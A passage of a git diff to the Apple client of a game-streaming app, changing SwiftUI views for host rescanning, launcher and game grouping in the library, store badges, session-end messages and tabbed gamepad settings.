a host SHOULD have appeared on is where a rescan is worth offering + // outright rather than hiding behind a pull gesture. + Button("Scan Again") { discovery.refresh() } + .disabled(discovery.isScanning) + #if os(iOS) + .controlSize(.large) + #endif #if os(tvOS) Button("Settings") { showSettings = true } #endif @@ -345,6 +372,18 @@ struct HomeView: View { } } + /// Re-run mDNS discovery from scratch. Discovery heals itself now (`HostDiscovery`'s sweep), + /// so this is the fallback the field asked for — and the fastest way past the iOS + /// local-network permission gate, which only a NEW browser can clear. + private var refreshButton: some View { + Button { + discovery.refresh() + } label: { + Label("Refresh", systemImage: "arrow.clockwise") + } + .disabled(discovery.isScanning) + } + #if !os(tvOS) /// One host has no order and nothing to divide, so the control stays out of the way until /// there is a list to arrange. diff --git a/clients/apple/Sources/PunktfunkClient/Home/LibraryCoverflowView.swift b/clients/apple/Sources/PunktfunkClient/Home/LibraryCoverflowView.swift index 0c7248fd..5f73b0ef 100644 --- a/clients/apple/Sources/PunktfunkClient/Home/LibraryCoverflowView.swift +++ b/clients/apple/Sources/PunktfunkClient/Home/LibraryCoverflowView.swift @@ -19,6 +19,7 @@ import SwiftUI import GameController struct LibraryCoverflowView: View { + @Environment(\.gamepadInk) private var ink let games: [GameEntry] let imageSession: URLSession? var onLaunch: ((String) -> Void)? @@ -46,18 +47,24 @@ struct LibraryCoverflowView: View { .padding(.vertical, compact ? 6 : 10) } .background { GamepadScreenBackground() } + // Publish the palette's ink to this screen (text, glass, accent, scrims) — a + // pale palette flips all of them, and no leaf should have to read the setting. + .gamepadPaletteInk() } @ViewBuilder private func content(for size: CGSize) -> some View { // Fit the tallest poster into the height the detail line + paddings leave (the hints are a // safe-area inset, already out of this budget) — capped so it never dwarfs a large iPad and // clamped by width on a narrow screen. - let reserved: CGFloat = compact ? 72 : 96 // detail line + spacers + let reserved: CGFloat = (compact ? 72 : 96) + (showsGroupHeading ? 26 : 0) let coverHeight = min(360, min(max(140, size.height - reserved), size.width * 0.9)) let coverWidth = coverHeight * 2 / 3 VStack(spacing: 0) { Spacer(minLength: 4) + if showsGroupHeading { + groupHeading.padding(.bottom, 6) + } carousel(coverWidth: coverWidth, coverHeight: coverHeight) detailPanel .padding(.top, 12) @@ -89,10 +96,12 @@ struct LibraryCoverflowView: View { PosterImage(candidates: game.art.posterCandidates, title: game.title, session: imageSession) .frame(width: width, height: height) .clipShape(RoundedRectangle(cornerRadius: 16, style: .continuous)) - .overlay(alignment: .topLeading) { StoreBadge(isCustom: game.isCustom) } + .overlay(alignment: .topLeading) { + StoreBadge(label: game.storeLabel, isLauncher: game.isLauncher) + } .overlay { RoundedRectangle(cornerRadius: 16, style: .continuous) - .strokeBorder(.white.opacity(0.12), lineWidth: 1) + .strokeBorder(ink.fg(0.12), lineWidth: 1) } .shadow(color: .black.opacity(0.5), radius: 16, y: 12) .scrollTransition { content, phase in @@ -112,21 +121,42 @@ struct LibraryCoverflowView: View { } } + /// Does this library have both groups? Only then does the heading earn its row — a + /// launcher-less library gets exactly the layout it had before design D4. + private var showsGroupHeading: Bool { + games.contains(where: \.isLauncher) && games.contains { !$0.isLauncher } + } + + /// Which group the cursor is in. A coverflow is one-dimensional, so instead of a second focus + /// rail (a whole new up/down nav model for two or three tiles) the heading names the group and + /// changes as the selection crosses the boundary — the launcher entries lead the strip. + private var groupHeading: some View { + let selected = games.first { $0.id == selection } + return Text(selected?.isLauncher == true ? "LAUNCHERS" : "GAMES") + .font(.geist(11, .semibold, relativeTo: .caption2)) + .tracking(1.4) + .foregroundStyle(ink.fg(0.45)) + } + /// The centered title + store tag — empty (not hidden) so the layout doesn't jump. @ViewBuilder private var detailPanel: some View { let game = games.first { $0.id == selection } VStack(spacing: 6) { Text(game?.title ?? " ") .font(.geist(compact ? 22 : 25, .bold, relativeTo: .title)) - .foregroundStyle(.white) + .foregroundStyle(ink.fg) .lineLimit(1) .minimumScaleFactor(0.75) .multilineTextAlignment(.center) if let game { - Text(game.isCustom ? "CUSTOM" : "STEAM") - .font(.geist(11, .semibold, relativeTo: .caption2)) - .tracking(1.2) - .foregroundStyle(.white.opacity(0.5)) + // main's richer store label, in the palette's ink. + Text( + game.isLauncher + ? "\(game.storeLabel.uppercased()) · LAUNCHER" : game.storeLabel.uppercased() + ) + .font(.geist(11, .semibold, relativeTo: .caption2)) + .tracking(1.2) + .foregroundStyle(ink.fg(0.5)) } } .frame(maxWidth: .infinity) @@ -139,7 +169,10 @@ struct LibraryCoverflowView: View { private var hints: [GamepadHint] { var hints: [GamepadHint] = [] if onLaunch != nil { - hints.append(.init(glyph: buttonGlyph(\.buttonA, fallback: "a.circle"), text: "Launch")) + // You *open* a launcher and *launch* a game — the hint follows the focused entry. + let opens = games.first { $0.id == selection }?.isLauncher == true + hints.append( + .init(glyph: buttonGlyph(\.buttonA, fallback: "a.circle"), text: opens ? "Open" : "Launch")) } hints.append(.init(glyph: buttonGlyph(\.buttonB, fallback: "b.circle"), text: "Close")) return hints diff --git a/clients/apple/Sources/PunktfunkClient/Home/LibraryView.swift b/clients/apple/Sources/PunktfunkClient/Home/LibraryView.swift index 8945e2d1..03a2e918 100644 --- a/clients/apple/Sources/PunktfunkClient/Home/LibraryView.swift +++ b/clients/apple/Sources/PunktfunkClient/Home/LibraryView.swift @@ -80,21 +80,47 @@ struct LibraryView: View { } private var grid: some View { - ScrollView { - LazyVGrid(columns: columns, spacing: 18) { - ForEach(games) { game in - if let onLaunch { - Button { onLaunch(game.id) } label: { GameCard(game: game, imageSession: imageSession) } - .buttonStyle(.plain) - } else { - GameCard(game: game, imageSession: imageSession) - } + // Design D4: launcher entries get their own section above the titles, never interleaved. + // Both headers appear only when both groups exist, so a library without launcher entries + // renders exactly as it did before. + let launchers = games.filter(\.isLauncher) + let titles = games.filter { !$0.isLauncher } + let both = !launchers.isEmpty && !titles.isEmpty + return ScrollView { + VStack(alignment: .leading, spacing: 18) { + if !launchers.isEmpty { + if both { sectionHeader("Launchers") } + tiles(launchers) + } + if !titles.isEmpty { + if both { sectionHeader("Games") } + tiles(titles) } } .padding() } } + private func tiles(_ entries: [GameEntry]) -> some View { + LazyVGrid(columns: columns, spacing: 18) { + ForEach(entries) { game in + if let onLaunch { + Button { onLaunch(game.id) } label: { GameCard(game: game, imageSession: imageSession) } + .buttonStyle(.plain) + } else { + GameCard(game: game, imageSession: imageSession) + } + } + } + } + + private func sectionHeader(_ text: String) -> some View { + Text(text) + .font(.geist(12, .semibold, relativeTo: .caption)) + .tracking(1.1) + .foregroundStyle(.secondary) + } + private var columns: [GridItem] { #if os(tvOS) let minW: CGFloat = 220 @@ -152,12 +178,15 @@ struct LibraryView: View { return } do { + // `launchersFirst` groups launcher entries ahead of titles once, here, so the grid and + // the gamepad coverflow both inherit the D4 ordering. games = try await LibraryClient.fetch( address: current.address, port: current.effectiveMgmtPort, certPEM: identity.certPEM, keyPEM: identity.keyPEM, - hostFingerprint: current.pinnedSHA256) + hostFingerprint: current.pinnedSHA256 + ).launchersFirst imageSession?.finishTasksAndInvalidate() imageSession = try LibraryImageLoader.session( address: current.address, @@ -185,7 +214,9 @@ private struct GameCard: View { .aspectRatio(2.0 / 3.0, contentMode: .fit) .frame(maxWidth: .infinity) .clipShape(RoundedRectangle(cornerRadius: 10, style: .continuous)) - .overlay(alignment: .topLeading) { StoreBadge(isCustom: game.isCustom) } + .overlay(alignment: .topLeading) { + StoreBadge(label: game.storeLabel, isLauncher: game.isLauncher) + } Text(game.title) .font(.geist(12, relativeTo: .caption)) .lineLimit(2) diff --git a/clients/apple/Sources/PunktfunkClient/Home/LibraryWidgets.swift b/clients/apple/Sources/PunktfunkClient/Home/LibraryWidgets.swift index 77548a4d..79d2219d 100644 --- a/clients/apple/Sources/PunktfunkClient/Home/LibraryWidgets.swift +++ b/clients/apple/Sources/PunktfunkClient/Home/LibraryWidgets.swift @@ -12,14 +12,21 @@ import AppKit /// The store-provenance badge (Steam vs. a user-curated custom entry) overlaid on a poster — /// shared by the touch grid's `GameCard` and the gamepad coverflow's cover cell. struct StoreBadge: View { - let isCustom: Bool + /// Which store surfaced the entry, already resolved to a display name (`GameEntry.storeLabel`). + let label: String + /// A launcher entry (design D4) gets the brand fill, so "opens Steam" is legible at poster size + /// without reading the title. + var isLauncher: Bool = false var body: some View { - Text(isCustom ? "Custom" : "Steam") + Text(label) .font(.geist(11, .semibold, relativeTo: .caption2)) + .foregroundStyle(isLauncher ? AnyShapeStyle(.white) : AnyShapeStyle(.primary)) .padding(.horizontal, 6) .padding(.vertical, 3) - .background(.ultraThinMaterial, in: Capsule()) + .background( + isLauncher ? AnyShapeStyle(Color.brand) : AnyShapeStyle(.ultraThinMaterial), + in: Capsule()) .padding(6) } } diff --git a/clients/apple/Sources/PunktfunkClient/Session/SessionModel.swift b/clients/apple/Sources/PunktfunkClient/Session/SessionModel.swift index 8cdf017f..86dbb4cc 100644 --- a/clients/apple/Sources/PunktfunkClient/Session/SessionModel.swift +++ b/clients/apple/Sources/PunktfunkClient/Session/SessionModel.swift @@ -65,6 +65,14 @@ final class SessionModel: ObservableObject { @Published private(set) var connection: PunktfunkConnection? /// The host this session is for (a value copy; identity = id). @Published private(set) var activeHost: StoredHost? + /// The library entry this session was launched with (`connect(launchID:)`), or nil if the user + /// just connected to the host's desktop. Kept because where the client should go when the + /// session ends depends on where it came FROM: a title launched out of the library belongs back + /// in that library when its game exits, not on the host-selection screen. + private var launchedTitleID: String? + /// Set when a session ended because its game exited and it began as a library launch: the host + /// whose library to reopen. The view layer consumes it and sets it back to nil. + @Published var returnToLibrary: StoredHost? /// The settings THIS session runs on — the globals with its profile overlaid, resolved once at /// connect (design/client-settings-profiles.md §4.2). Also mirrored into `SessionSettings` for /// the readers that live in PunktfunkKit and can't see this model. @@ -249,6 +257,7 @@ final class SessionModel: ObservableObject { guard phase == .idle else { return } phase = .connecting activeHost = host + launchedTitleID = launchID errorMessage = nil settings = effective statsVerbosity = StatsVerbosity(rawValue: effective.statsVerbosity) ?? .normal @@ -607,6 +616,8 @@ final class SessionModel: ObservableObject { } connection = nil activeHost = nil + // Read by `sessionEnded` BEFORE it calls us, so clearing here can't rob it of the answer. + launchedTitleID = nil phase = .idle fps = 0 mbps = 0 @@ -626,10 +637,36 @@ final class SessionModel: ObservableObject { /// Called (via the main actor) when the pump hits end-of-session. func sessionEnded() { - guard connection != nil else { return } + guard let conn = connection else { return } let name = activeHost?.displayName ?? "host" + // WHY it ended, asked while the connection is still up — `disconnect` tears it down. + let reason = conn.sessionEndReason + // Where a game exit sends us: back into the library this title was launched from, so the + // next one is a tap away. Only for a launch that CAME from the library — a game exiting in + // a plain desktop session has no library to return to. + let host = activeHost + let cameFromLibrary = launchedTitleID != nil disconnect(deliberate: false) // host/network ended it — keep the linger for a reconnect - errorMessage = "Session ended by \(name)." + switch reason { + case .gameExited: + // The player quit their own game. Not a failure, and they are probably after the next + // title — so no banner, and back to the library it came from. + if cameFromLibrary, let host { + returnToLibrary = host + } + case .hostEnded, .local: + // Someone asked for this: an operator "End" on the host, or our own close racing in. + // Say it plainly, without the error framing. + errorMessage = "\(name) ended the session." + case .hostError: + errorMessage = "\(name) ended the session with an error." + case .lost: + errorMessage = "Lost the connection to \(name)." + case .none: + // No verdict (an older core, or the close raced the read): keep the wording this path + // has always used rather than inventing one. + errorMessage = "Session ended by \(name)." + } } /// Resize overlay START (main actor — from the Match-window follower's `onResizeTarget`): the diff --git a/clients/apple/Sources/PunktfunkClient/Settings/GamepadSettingsView.swift b/clients/apple/Sources/PunktfunkClient/Settings/GamepadSettingsView.swift index 09274f1f..c23452cb 100644 --- a/clients/apple/Sources/PunktfunkClient/Settings/GamepadSettingsView.swift +++ b/clients/apple/Sources/PunktfunkClient/Settings/GamepadSettingsView.swift @@ -11,7 +11,13 @@ // the thumb it's the last option); A always cycles forward, wrapping, so every option is reachable // with one button. Toggles read left = off, right = on — refusing a no-op with the same thud. // -// The trailing Profiles section (design/client-settings-profiles.md §5.2a/§5.4) is the pin manager +// The rows are split across SECTION TABS (`GpSettingsTab`) — L1/R1 on a pad, a tap elsewhere. They +// used to be one long scroll with inline group headers, which meant thumbing past Video and Audio +// to reach the controller settings; a tab is one shoulder press, and each tab remembers where its +// focus was. The tab names match the desktop console's and the Android client's, so a setting is +// found under the same word wherever you look for it. +// +// The trailing Profiles tab (design/client-settings-profiles.md §5.2a/§5.4) is the pin manager // for this controller-first surface: a row per catalog profile opens the pin-to-hosts picker — an // in-place swap of the row list (B peels back, the "one layer" rule GamepadAddHostView set) with // one toggle row per saved host, writing `StoredHost.pinnedProfileIDs` via HostStore.setPinned. @@ -27,7 +33,19 @@ import GameController import CoreHaptics #endif +/// The settings screen's sections. Order IS the strip order and the L1/R1 cycle order; the names +/// match `pf-console-ui`'s `TABS` and the Android client's `GpTab`. +enum GpSettingsTab: String, CaseIterable, Hashable { + case stream = "Stream" + case video = "Video" + case audio = "Audio" + case controller = "Controller" + case interface = "Interface" + case profiles = "Profiles" +} + struct GamepadSettingsView: View { + @Environment(\.gamepadInk) private var ink @Environment(\.dismiss) private var dismiss /// The saved-host store — the pin picker writes `setPinned` through it and the profile rows /// count pins from its live hosts. Threaded in from GamepadHomeView like the home screen @@ -55,6 +73,9 @@ struct GamepadSettingsView: View { @AppStorage(DefaultsKey.hudPlacement) private var hudPlacement = HUDPlacement.topTrailing.rawValue @AppStorage(DefaultsKey.libraryEnabled) private var libraryEnabled = true @AppStorage(DefaultsKey.gamepadUIEnabled) private var gamepadUIEnabled = true + /// The gamepad UI's background colour family — the backdrop BEHIND this screen re-colours as + /// the row steps, which is why the picker lives here and not in a sheet. + @AppStorage(DefaultsKey.uiPalette) private var paletteID = "violet" @AppStorage(DefaultsKey.autoWake) private var autoWakeEnabled = true @AppStorage(DefaultsKey.presentPriority) private var presentPriority = SettingsOptions.presentPriorityDefault @@ -74,12 +95,23 @@ struct GamepadSettingsView: View { #if os(iOS) /// `.compact` in a landscape phone window — tighter chrome so more rows fit. @Environment(\.verticalSizeClass) private var vSizeClass + /// `.regular` only on an iPad-class window — see `showsSectionHint`. + @Environment(\.horizontalSizeClass) private var hSizeClass private var compact: Bool { vSizeClass == .compact } #else private let compact = false // no size classes on macOS; the sheet is sized generously #endif @State private var focusID: String? + /// The section showing. The pin picker ignores it — that layer replaces the whole list. + @State private var tab: GpSettingsTab = .stream + /// Where each tab's focus was when it was last left, so a detour doesn't lose your place. + @State private var tabFocus: [GpSettingsTab: String] = [:] + @Namespace private var tabHighlight + #if os(tvOS) + /// Real focus on the strip — the tvOS route to the sections (see `tabStrip`). + @FocusState private var focusedTab: GpSettingsTab? + #endif /// The pin-to-hosts picker's profile — non-nil swaps the row list for one toggle row per /// saved host (§5.2a); B (Menu on tvOS) peels back to the settings rows. @State private var pinTarget: StreamProfile? @@ -93,7 +125,8 @@ struct GamepadSettingsView: View { focusID: $focusID, onAdjust: { row, delta in adjust(id: row.id, by: delta) }, onActivate: { activate(id: $0.id) }, - onBack: { back() } + onBack: { back() }, + onShoulder: { step(tabBy: $0) } ) { row, focused in rowView(row, focused: focused) .frame(maxWidth: GamepadFormMetrics.rowMaxWidth) @@ -101,20 +134,25 @@ struct GamepadSettingsView: View { } .frame(maxWidth: .infinity) .safeAreaInset(edge: .top, spacing: 0) { - Text(title) - .font(.geist(gamepadTitleSize(compact: compact), .bold, relativeTo: .title)) - .foregroundStyle(.white) - .padding(.top, gamepadTitleTopPadding(compact: compact)) - .padding(.bottom, compact ? 4 : 8) - .frame(maxWidth: .infinity) - .overlay(alignment: .trailing) { closeButton.padding(.trailing, 20) } - .background { GamepadTrayScrim(edge: .top) } + VStack(spacing: compact ? 4 : 8) { + Text(title) + .font(.geist(gamepadTitleSize(compact: compact), .bold, relativeTo: .title)) + .foregroundStyle(ink.fg) + .frame(maxWidth: .infinity) + .overlay(alignment: .trailing) { closeButton.padding(.trailing, 20) } + // The picker is one layer deeper — its rows aren't sections of anything, so the + // strip would be a control that does nothing while it's up. + if pinTarget == nil { tabStrip } + } + .padding(.top, gamepadTitleTopPadding(compact: compact)) + .padding(.bottom, compact ? 4 : 8) + .background { GamepadTrayScrim(edge: .top) } } .safeAreaInset(edge: .bottom, alignment: .leading, spacing: 0) { VStack(alignment: .leading, spacing: 8) { Text(focusedDetail) .font(.geist(GamepadFormMetrics.detailFont, relativeTo: .caption)) - .foregroundStyle(.white.opacity(0.55)) + .foregroundStyle(ink.fg(0.55)) .lineLimit(2, reservesSpace: true) .animation(.smooth(duration: 0.2), value: focusID) GamepadHintBar(hints: hints) @@ -127,9 +165,13 @@ struct GamepadSettingsView: View { .frame(maxWidth: .infinity, alignment: .leading) .background { GamepadTrayScrim(edge: .bottom) } } - // No aurora here — the settings read as clean Liquid Glass over a quiet dark base, so the - // glass rows are the only material on the screen. + // The launcher's living field, calmed (GamepadFormBackground) — the glass rows keep real + // colour and luminance to lens without the launcher's contrast, and the palette setting + // applies here too, so this screen previews the row you're stepping. .background { GamepadFormBackground() } + // Publish the palette's ink to this screen (text, glass, accent, scrims) — a + // pale palette flips all of them, and no leaf should have to read the setting. + .gamepadPaletteInk() .onAppear { gamepads.refresh() gamepads.startDiscovery() @@ -137,13 +179,108 @@ struct GamepadSettingsView: View { .onDisappear { gamepads.stopDiscovery() } } + /// The section switcher. Horizontally scrollable so a narrow phone in landscape never has to + /// squeeze six pills — the selected one is always scrolled into view, whether it was reached + /// by shoulder button, tap, or (tvOS) the focus engine. + private var tabStrip: some View { + ScrollViewReader { proxy in + ScrollView(.horizontal) { + HStack(spacing: 6) { + ForEach(GpSettingsTab.allCases, id: \.self) { t in + #if os(tvOS) + // Focusable, because L1/R1 is NOT a route here: a Siri Remote has no + // extended gamepad profile, so it never reaches GamepadMenuList's poll. + // As focusable Buttons the pills are simply above the rows, and moving + // focus up onto one switches section — the standard tvOS tab bar. + Button { select(tab: t) } label: { pill(t) } + .buttonStyle(ConsoleBareButtonStyle()) + .focused($focusedTab, equals: t) + .id(t) + #else + pill(t) + .contentShape(Capsule()) + .onTapGesture { select(tab: t) } + .id(t) + #endif + } + } + .padding(.horizontal, 24) + } + .scrollIndicators(.never) + .animation(.smooth(duration: 0.22), value: tab) + .onChange(of: tab) { _, t in + withAnimation(.easeOut(duration: 0.2)) { proxy.scrollTo(t) } + } + #if os(tvOS) + .onChange(of: focusedTab) { _, t in + // Focus IS selection on a tab bar; nil means focus dropped back into the rows. + if let t { select(tab: t) } + } + #endif + } + } + + private func pill(_ t: GpSettingsTab) -> some View { + let selected = t == tab + return Text(t.rawValue) + .font(.geist(compact ? 12 : 13, .semibold, relativeTo: .footnote)) + .foregroundStyle(selected ? ink.fg : ink.fg(0.55)) + .padding(.horizontal, 13) + .padding(.vertical, 7) + .background { + // One shared capsule that MOVES between pills, rather than one per pill fading + // in and out — the highlight travels the way the press did. + if selected { + Capsule() + .fill(ink.accent(0.85)) + .matchedGeometryEffect(id: "tab", in: tabHighlight) + } + } + } + + /// Whether the legend advertises the shoulder shortcut. Held back on an iPhone, whose legend + /// is already at its width and would push "Done" off the edge — the strip is visible and + /// tappable there anyway. Never on tvOS: a Siri Remote has no shoulders, and its route to the + /// sections is the focus engine (see `tabStrip`). + private var showsSectionHint: Bool { + #if os(tvOS) + false + #elseif os(iOS) + hSizeClass == .regular + #else + true + #endif + } + + /// L1/R1 — one section along, wrapping (the strip is a ring, like A's value cycle). + private func step(tabBy delta: Int) { + guard pinTarget == nil else { return } + let all = GpSettingsTab.allCases + guard let i = all.firstIndex(of: tab) else { return } + let n = all.count + select(tab: all[((i + delta) % n + n) % n]) + } + + private func select(tab next: GpSettingsTab) { + guard next != tab else { return } + tabFocus[tab] = focusID + // Restore where this tab was, if that row is still in it (a row can come and go with the + // hardware it depends on); otherwise the focus list seeds its first row. Resolved against + // `allRows` rather than `rows` so it doesn't depend on `tab`'s write being visible yet. + let landing = tabFocus[next].flatMap { id in + allRows.contains { $0.tab == next && $0.id == id } ? id : nil + } + tab = next + focusID = landing + } + /// Touch/click fallback for closing — the controller path is B, a hardware keyboard's Esc /// rides the cancel action. private var closeButton: some View { Button { dismiss() } label: { Image(systemName: "xmark") .font(.system(size: GamepadFormMetrics.closeFont, weight: .semibold)) - .foregroundStyle(.white) + .foregroundStyle(ink.fg) .frame(width: GamepadFormMetrics.closeSide, height: GamepadFormMetrics.closeSide) .glassBackground(Circle(), interactive: true) .contentShape(Circle()) @@ -166,12 +303,19 @@ struct GamepadSettingsView: View { /// layer" rule), and a hostless picker has nothing to pin, so only Back remains. private var hints: [GamepadHint] { guard pinTarget != nil else { + // The shoulders change section, so that cell leads — where it fits and where the + // shoulders exist at all (see `showsSectionHint`). + let sections: [GamepadHint] = showsSectionHint + ? [.init(glyph: buttonGlyph(\.leftShoulder, fallback: "l1.rectangle.roundedbottom"), + text: "Section")] + : [] // A dimmed row takes neither, so offering them would be the same lie the row itself // used to tell — only Done remains, and the detail line says what to turn on first. guard rows.first(where: { $0.id == focusID })?.enabled ?? true else { - return [.init(glyph: buttonGlyph(\.buttonB, fallback: "b.circle"), text: "Done")] + return sections + + [.init(glyph: buttonGlyph(\.buttonB, fallback: "b.circle"), text: "Done")] } - return [ + return sections + [ .init(glyph: "arrow.left.and.right", text: "Adjust"), .init(glyph: buttonGlyph(\.buttonA, fallback: "a.circle"), text: "Change"), .init(glyph: buttonGlyph(\.buttonB, fallback: "b.circle"), text: "Done"), @@ -201,30 +345,24 @@ struct GamepadSettingsView: View { private func rowView(_ row: Row, focused: Bool) -> some View { let m = GamepadFormMetrics.self + // No section header: the tab strip names the section now, and repeating it above the + // first row of every tab was just a second label saying the same word. return VStack(alignment: .leading, spacing: 6) { - if let header = row.header { - Text(header) - .font(.geist(m.headerFont, .semibold, relativeTo: .caption)) - .tracking(1.4) - .foregroundStyle(.white.opacity(0.45)) - .padding(.leading, m.rowHPad) - .padding(.top, 14) - } HStack(spacing: 14) { Image(systemName: row.icon) .font(.system(size: m.iconFont)) - .foregroundStyle(focused ? Color.brand : .white.opacity(0.55)) + .foregroundStyle(focused ? ink.accent : ink.fg(0.55)) .frame(width: m.iconWidth) Text(row.label) .font(.geist(m.labelFont, .semibold, relativeTo: .body)) - .foregroundStyle(.white) + .foregroundStyle(ink.fg) .lineLimit(1) Spacer(minLength: 12) HStack(spacing: 9) { Image(systemName: "chevron.left") .font(.system(size: m.chevronFont, weight: .semibold)) .foregroundStyle( - .white.opacity(focused && row.adjustable && row.enabled ? 0.6 : 0)) + ink.fg(focused && row.adjustable && row.enabled ? 0.6 : 0)) // Keyed by the value so a change slides the new option in instead of // hard-swapping the string — a QUIET horizontal slip following the user's // motion (a right-step enters from the right), crossfading over ~14 pt. @@ -235,7 +373,7 @@ struct GamepadSettingsView: View { ZStack { Text(row.value) .font(.geist(m.valueFont, .medium, relativeTo: .callout)) - .foregroundStyle(focused ? .white : .white.opacity(0.6)) + .foregroundStyle(focused ? ink.fg : ink.fg(0.6)) .lineLimit(1) .id(row.value) .transition(.asymmetric( @@ -246,7 +384,7 @@ struct GamepadSettingsView: View { Image(systemName: "chevron.right") .font(.system(size: m.chevronFont, weight: .semibold)) .foregroundStyle( - .white.opacity(focused && row.adjustable && row.enabled ? 0.6 : 0)) + ink.fg(focused && row.adjustable && row.enabled ? 0.6 : 0)) } } // Contents only — the glass and border below stay at full strength, so a dimmed row @@ -257,11 +395,11 @@ struct GamepadSettingsView: View { // Every row is Liquid Glass; the focused one takes a brand wash and reacts to press. .consoleGlass( RoundedRectangle(cornerRadius: m.rowCorner, style: .continuous), - tint: focused ? Color.brand.opacity(0.30) : nil, + tint: focused ? ink.accent(0.30) : nil, interactive: focused) .overlay { RoundedRectangle(cornerRadius: m.rowCorner, style: .continuous) - .strokeBorder(.white.opacity(focused ? 0.28 : 0.06), lineWidth: 1) + .strokeBorder(ink.fg(focused ? 0.28 : 0.06), lineWidth: 1) } .scaleEffect(focused ? 1.0 : 0.98) .animation(.smooth(duration: 0.18), value: focused) @@ -276,8 +414,9 @@ struct GamepadSettingsView: View { private struct Row: Identifiable { let id: String - /// Section header drawn above this row (the first row of each group carries it). - var header: String? + /// Which section tab this row belongs to. Every row has exactly one, and `rows` shows + /// only the current tab's — see `allRows`. + var tab: GpSettingsTab = .stream let icon: String let label: String let value: String @@ -313,10 +452,17 @@ struct GamepadSettingsView: View { row.activate() } + /// What the focus list actually shows: the current tab's rows — or the pin picker's, which + /// replaces the whole list while it's up (same screen, one layer deeper, so the focus list's + /// controller wiring and the tvOS focus engine carry over as is). private var rows: [Row] { - // The pin picker replaces the whole list while it's up — same screen, one layer deeper, - // so the focus list's controller wiring (and the tvOS focus engine) carries over as is. if let profile = pinTarget { return pinRows(for: profile) } + return allRows.filter { $0.tab == tab } + } + + /// Every row on the screen, tagged with its section. Built as one list (not per tab) so the + /// platform-conditional insertions below can still place a row RELATIVE to another by id. + private var allRows: [Row] { let resolution = resolutionOptions let refresh = SettingsOptions.refreshRates(including: hz) .map { (label: "\($0) Hz", tag: $0) } @@ -324,7 +470,7 @@ struct GamepadSettingsView: View { let controllers = SettingsOptions.controllerOptions(gamepads) var list: [Row] = [ choiceRow( - id: "resolution", header: "Stream", icon: "aspectratio", + id: "resolution", tab: .stream, icon: "aspectratio", label: "Resolution", detail: "The host creates a virtual display at exactly this size — no scaling.", options: resolution, current: "\(width)x\(height)" @@ -335,53 +481,48 @@ struct GamepadSettingsView: View { height = parts[1] }, choiceRow( - id: "refresh", icon: "gauge.with.needle", label: "Refresh rate", + id: "refresh", tab: .stream, icon: "gauge.with.needle", label: "Refresh rate", detail: "Rates this display can actually show.", options: refresh, current: hz ) { hz = $0 }, choiceRow( - id: "bitrate", icon: "speedometer", label: "Bitrate", + id: "bitrate", tab: .stream, icon: "speedometer", label: "Bitrate", detail: "Automatic uses the host's default (20 Mbps). " + "Run a speed test from the touch UI for an informed value.", options: bitrate, current: bitrateKbps ) { bitrateKbps = $0 }, choiceRow( - id: "compositor", icon: "macwindow", label: "Compositor", + id: "compositor", tab: .stream, icon: "macwindow", label: "Compositor", detail: "Which compositor drives the virtual output — honored only if " + "available on the host.", options: SettingsOptions.compositors, current: compositor ) { compositor = $0 }, - toggleRow( - id: "autoWake", icon: "power", label: "Auto-wake on connect", - detail: "Send Wake-on-LAN to a sleeping saved host and wait for it before " - + "streaming. Off connects straight through.", - value: $autoWakeEnabled), - choiceRow( - id: "codec", header: "Video", icon: "film", label: "Video codec", + id: "codec", tab: .video, icon: "film", label: "Video codec", detail: "A preference — the host falls back if it can't encode this one " + "(10-bit and 4:4:4 are HEVC-only).", options: SettingsOptions.codecs, current: codec ) { codec = $0 }, toggleRow( - id: "hdr", icon: "sun.max", label: "10-bit HDR", + id: "hdr", tab: .video, icon: "sun.max", label: "10-bit HDR", detail: "HDR10 — engages when the host sends HDR content and this display " + "supports it.", value: $hdrEnabled), toggleRow( - id: "chroma", icon: "textformat", label: "Full chroma (4:4:4)", + id: "chroma", tab: .video, icon: "textformat", label: "Full chroma (4:4:4)", detail: "Sharper text and UI at more bandwidth — needs host opt-in and " + "hardware decode.", value: $enable444), choiceRow( - id: "presentPriority", icon: "rectangle.stack", label: "Prioritize", + id: "presentPriority", tab: .video, icon: "rectangle.stack", label: "Prioritize", detail: "Lowest latency shows each frame the moment the display can take it; " + "Smoothness buffers a few frames to even out network hiccups. Applies " + "from the next session.", options: SettingsOptions.presentPriorities, current: presentPriority ) { presentPriority = $0 }, choiceRow( - id: "smoothBuffer", icon: "square.stack.3d.up", label: "Smoothness buffer", + id: "smoothBuffer", tab: .video, icon: "square.stack.3d.up", + label: "Smoothness buffer", detail: "How many frames Smoothness holds — each adds about a refresh of " + "display latency and absorbs about a refresh of jitter. Only applies " + "when prioritizing smoothness.", @@ -389,22 +530,22 @@ struct GamepadSettingsView: View { ) { smoothBuffer = $0 }, choiceRow( - id: "audio", header: "Audio", icon: "speaker.wave.2", label: "Audio channels", + id: "audio", tab: .audio, icon: "speaker.wave.2", label: "Audio channels", detail: "The speaker layout requested from the host.", options: SettingsOptions.audioChannels, current: audioChannels ) { audioChannels = $0 }, toggleRow( - id: "mic", icon: "mic", label: "Microphone", + id: "mic", tab: .audio, icon: "mic", label: "Microphone", detail: "Send this device's microphone to the host's virtual mic.", value: $micEnabled), toggleRow( - id: "echoCancel", icon: "waveform", label: "Echo cancellation", + id: "echoCancel", tab: .audio, icon: "waveform", label: "Echo cancellation", detail: "Cancel the audio this device plays out of the mic signal — stops " + "speaker setups feeding the game back to the host.", value: $echoCancel), toggleRow( - id: "padForward", header: "Controller", icon: "gamecontroller", + id: "padForward", tab: .controller, icon: "gamecontroller", label: "Forward controllers", detail: "Send this device's controllers to the host. Turn it off when your " + "controller already reaches the host another way — USB passthrough such " @@ -415,26 +556,28 @@ struct GamepadSettingsView: View { // `.disabled(!effective.gamepadForwarding)`. This screen could not express it until // `Row.enabled` existed, so it alone left them live and steppable. choiceRow( - id: "pad", icon: "gamecontroller", label: "Use controller", + id: "pad", tab: .controller, icon: "gamecontroller", label: "Use controller", detail: "Which pad is forwarded to the host, as player 1.", options: controllers, current: gamepads.preferredID, enabled: gamepadForwarding ) { gamepads.preferredID = $0 }, choiceRow( - id: "padType", icon: "dpad", label: "Controller type", + id: "padType", tab: .controller, icon: "dpad", label: "Controller type", detail: "The virtual pad the host creates — Automatic matches this controller.", options: SettingsOptions.padTypes, current: gamepadType, enabled: gamepadForwarding ) { gamepadType = $0 }, choiceRow( - id: "systemButtons", icon: "house.circle", label: "Guide button", + id: "systemButtons", tab: .controller, icon: "house.circle", + label: "Guide button", detail: "Where the guide (Xbox/PS) and share presses go while streaming — " + "Automatic sends them to the host whenever this device delivers them.", options: SettingsOptions.systemButtons, current: systemButtons, enabled: gamepadForwarding 